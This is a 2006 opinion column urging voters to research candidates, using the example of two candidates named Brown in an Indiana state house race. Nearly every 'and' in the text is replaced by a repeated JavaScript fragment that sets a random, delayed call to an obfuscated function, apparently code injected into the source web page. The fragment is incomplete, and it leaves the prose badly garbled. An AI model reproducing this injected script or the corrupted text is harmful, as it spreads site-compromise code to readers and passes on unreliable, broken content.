BE A SMART VOTER

By Woodrow Wilcox

Be a smart voter. Don’t get confused by similar names or similar campaign slogans. Don’t be fooled into voting for someone for whom you really would not want to vote.

For example, in the election for Indiana State Representative from the third district, there are two candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates who have the same last name — Brown. The candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates are Charlie Brown andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Willie Brown. The third district stretches along Lake Michigan from western parts of Gary to the Porter-LaPorte County line.

Both these men have the last name of Brown. Both these men live in Gary. Both these men are African-American. But, there are striking differences. One is a Democrat andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one is a Republican. One voted for state laws that raised property taxes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one promises to work to lower property taxes. One is “pro-choice” or “pro-abortion” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one is “pro-life”. But, if you don’t check on the candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates before you walk into a voting booth, you might get confused andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vote for a candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate that you really don’t want to win.

Everyone who runs for office deserves our respect. Each of them deserves to be heard on why they want to serve you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and all the rest of the public.

To me, judging someone solely by their political party affiliation is just a prejudiced andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and narrow-minded as voting for or against people because of their race, religion, or color of skin. What really matters are the abilities, behavior, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and character of the person who is running for office. To be a smart voter, learn about each candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how each candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands on the issues that are important to you.

So, please, be a smart voter. Try to learn about each candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for what that candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands. You can call both major political party headquarters in your county, the voter registration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and elections office in your county, or other community leaders to ask for information about every candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate who is running for office in your neighborhood. If a candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate has a website, look at it to learn about the candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate’s political platform andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ideas. You might be surprised to learn that you like a candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate that you thought you would not like.

Be a smart voter. Don’t just vote for or against people because of race, religion, color of skin, or political party affiliation. Know how each candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands on the issues that are important to you. Then, vote for the candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates for whom you really want to vote.

© 2006 Woodrow Wilcox

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